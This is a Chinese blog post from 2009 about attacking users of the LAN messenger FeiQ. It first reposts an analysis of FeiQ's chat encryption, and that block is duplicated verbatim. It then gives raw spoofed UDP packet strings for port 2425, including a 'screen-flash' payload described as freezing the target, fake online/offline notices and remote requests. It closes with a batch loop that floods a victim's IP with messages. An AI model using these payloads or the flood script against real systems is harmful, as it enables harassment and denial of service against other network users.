将飞秋攻击进行到底

    今天研究了一下飞秋的数据包,抓包后发现数据是加密过的,我在网上找的加密原理,有点复杂:

 

转载
本来想写个详细的,心情有点恶,还是算了吧....
加密通讯,在这是指两个飞秋用户之间的聊天信息的加密.加密通讯的数据包分为两个部分,一是聊天消息的加密,二是将加密聊天消息的密钥加密,然后将两个加密内容都转换为可显字符.
A向B要向B发送聊天信息...软件都作了些什么呢?
1:A向B发送下面这样的一个UDP数据包
char QingQiuMiShi[]="1_1bt2_82#128#00065B901234#0#0#0:1217863660:Administrator:HD-SJK-YHF:114:21003";
2:B向A应答一个类似上面结构的数据包,其中包含转换成可显示字符的加密通讯密钥.
3:A用收到的这个密钥加密消并发送给B
①:将收到的密钥进行转换,怎样的转换呢?像这样:将字串"EAFB9D45"转换为0x45,0x9D,0xFB,0xEA.注意头尾对换位置.解析出来的通讯密钥长0x80.
②:用CryptAcquireContext()创建一个命名的密码容器,将上面解析出来的通讯密钥用CryptImportKey()导入,导入时的密钥=0x10长度的固定数据+上面解析出来的密钥,
③:加密要用到两个数据表,在这我称为表a和表b.用上面导入的密钥初始化这两个表(程序在这个和上个步骤之间用了CryptGenRandom产生随机数,所以每次加密结果不一样)
下面的操作除特别说明外,字长均是DWORD
⑴:将一个内存地址的数据赋给表a,长度0x12;
⑵:将一个内存地址的数据赋给表b,长度0x400;
⑶:用第②步导入的密钥前0x10个字循环异或表a数据
⑷:首先调用一加密函数加密为0的两相DWORD字,将结果覆盖表a前面两个DWORD,再将结果作为下一轮加密字调用函数加密,结果再覆盖表a后面的内容。循环上面操作,直到表a内容全部覆盖。
⑸:将上面最后一个加密结果,调用加密函数,再加密,将加密结果的两个DWORD覆盖表b的内容,如此循环操作,直到表b也完成覆盖。
至此两个表初始化完成
④:填充待加密消息。将待加密消息长度置为向上的8的整倍数,即如长度为6(包括结尾的\0\字符),那待加密的长度(6/8的商+1)*8=8,待加密消息缓冲不足长度的地方填充字符=待加密长度--原消息长度=0x02。
⑤:加密消息。调用函数每次加密两个DWORD值,结果高低位换位,存入原地址,循环直到加密完成。
⑥:加密密钥。用CryptEncrypt()将初始化表a、表b的密钥加密。
⑦:转换加密结果为可显示字符。形式类似这样:将0xEA,0xAB,0x90,0x12转换为"1290ABEA"的字串,注意头尾换位,而消息密文是不用关尾换位的。
⑧:发送消处。将加密后的密钥密文和消息密文以一定形式组合,发送即完成。
本来想给出一图,是测试程序发给目标程序的,谁知要链接...,上传测试程序也不知从哪上传....
顺便提下,程序的授权码产生流程,不一定正确,用产生一加密密钥(每机不一样),用这密钥初始化表a、表b,调用函数加密特征码,用加密结果作运算产生授权码....
最后说下,飞秋真的不错,希望大家只作些技术研究,不要作一些注册机,消息攻击器什么的,没意思,这样弄来弄去的就会像CS一样,作弊的多了就没兴趣玩了--还不是怪流传作弊的人...
本来想写个详细的,心情有点恶,还是算了吧....
加密通讯,在这是指两个飞秋用户之间的聊天信息的加密.加密通讯的数据包分为两个部分,一是聊天消息的加密,二是将加密聊天消息的密钥加密,然后将两个加密内容都转换为可显字符.
A向B要向B发送聊天信息...软件都作了些什么呢?
1:A向B发送下面这样的一个UDP数据包
char QingQiuMiShi[]="1_1bt2_82#128#00065B901234#0#0#0:1217863660:Administrator:HD-SJK-YHF:114:21003";
2:B向A应答一个类似上面结构的数据包,其中包含转换成可显示字符的加密通讯密钥.
3:A用收到的这个密钥加密消并发送给B
①:将收到的密钥进行转换,怎样的转换呢?像这样:将字串"EAFB9D45"转换为0x45,0x9D,0xFB,0xEA.注意头尾对换位置.解析出来的通讯密钥长0x80.
②:用CryptAcquireContext()创建一个命名的密码容器,将上面解析出来的通讯密钥用CryptImportKey()导入,导入时的密钥=0x10长度的固定数据+上面解析出来的密钥,
③:加密要用到两个数据表,在这我称为表a和表b.用上面导入的密钥初始化这两个表(程序在这个和上个步骤之间用了CryptGenRandom产生随机数,所以每次加密结果不一样)
下面的操作除特别说明外,字长均是DWORD
⑴:将一个内存地址的数据赋给表a,长度0x12;
⑵:将一个内存地址的数据赋给表b,长度0x400;
⑶:用第②步导入的密钥前0x10个字循环异或表a数据
⑷:首先调用一加密函数加密为0的两相DWORD字,将结果覆盖表a前面两个DWORD,再将结果作为下一轮加密字调用函数加密,结果再覆盖表a后面的内容。循环上面操作,直到表a内容全部覆盖。
⑸:将上面最后一个加密结果,调用加密函数,再加密,将加密结果的两个DWORD覆盖表b的内容,如此循环操作,直到表b也完成覆盖。
至此两个表初始化完成
④:填充待加密消息。将待加密消息长度置为向上的8的整倍数,即如长度为6(包括结尾的\0\字符),那待加密的长度(6/8的商+1)*8=8,待加密消息缓冲不足长度的地方填充字符=待加密长度--原消息长度=0x02。
⑤:加密消息。调用函数每次加密两个DWORD值,结果高低位换位,存入原地址,循环直到加密完成。
⑥:加密密钥。用CryptEncrypt()将初始化表a、表b的密钥加密。
⑦:转换加密结果为可显示字符。形式类似这样:将0xEA,0xAB,0x90,0x12转换为"1290ABEA"的字串,注意头尾换位,而消息密文是不用关尾换位的。
⑧:发送消处。将加密后的密钥密文和消息密文以一定形式组合,发送即完成。
本来想给出一图,是测试程序发给目标程序的,谁知要链接...,上传测试程序也不知从哪上传....
顺便提下,程序的授权码产生流程,不一定正确,用产生一加密密钥(每机不一样),用这密钥初始化表a、表b,调用函数加密特征码,用加密结果作运算产生授权码....
最后说下,飞秋真的不错,希望大家只作些技术研究,不要作一些注册机,消息攻击器什么的,没意思,这样弄来弄去的就会像CS一样,作弊的多了就没兴趣玩了--还不是怪流传作弊的人...


所以,本来想通过改数据包,做一个攻击器的计划从内心中觉得没戏了。
但是我忘记了另一个工具-----飞鸽
他们之间关系:飞秋界面操作仿QQ,而且兼容飞鸽,功能比飞鸽更强大,换句话说没有飞鸽简洁,2者在同一局域网中完全可以互通。

所以我用飞鸽给飞秋发信息结果很让我欣慰:完全明文的数据包

举例:我发内容:Hello.
截得数据包:“1:1251142858:Administrators:2D46A2A23307456:655904:Hello.”-------1:1251142858:我的登陆系统账号:计算机名:655904:内容

这样的话就简单了,hello可以随意更改,只需要知道协议类型(udp),攻击端口(2425),还有就是受害者IP即可;
Code

因为飞鸽不能发送下飞秋表情,但是飞秋表情其实也很简单,例如代码中的发送内容为"Hello./;bin",实际接收显示:“Hello.

-----------------------------------------------------------------分割线

以上只是通过飞鸽实现了发送内容的可变。但是攻击效果不明显,下面来点危险性的(闪屏很牛,可以瞬间卡掉对方)

1. 闪屏--------------"1_lbt4_35#128#0022680C51AC#0#35807#0:1250815230:Administrators:1D46A2A23307456:209: "

2.语音 1_lbt4_35#128#0022680C51AC#0#35807#0:1250815700:Administrator:1D46A2A23307456:160:

3.远程 1_lbt4_35#128#0022680C51AC#0#35807#0:1250815709:Administrator:1D46A2A23307456:176:

4.上线 1_lbt4_35#128#0022680C51AC#0#35807#0:1250818260:Administrator:1D46A2A23307456:6291457:.....802

5.下线 1_lbt4_35#128#0022680C51AC#0#35807#0:1250818545:Administrator:1D46A2A23307456:6291458:.....802

怎么获得的数据包呢?
抓包我选-----------------Iris

---------------------------------------------

接下来来个更简单的,因为飞鸽兼用于飞秋而且还提供dos发送消息:

飞鸽2007说明文件(部分)- 支持命令方式发送消息
   命令格式如下:
   ipmsg.exe [端口] /MSG [/LOG][/SEAL] <主机名或IP地址> <消息>
   例如:
   C:\>ipmsg.exe /MSG /SEAL 192.168.1.222 Hello. - 支持命令方式发送消息


所以还可以根据飞鸽攻击飞秋用户:
1 @echo off
2 :loop
3 IPMSG2007.exe /MSG /LOG /SEAL 192.168.1.222 Hello.
4 goto :loop
5 rem 


总结:写文章很累,第一次写,以后加油

 

posted @ 2009-08-24 23:48  龙月  阅读(7056)  评论(9编辑  收藏  举报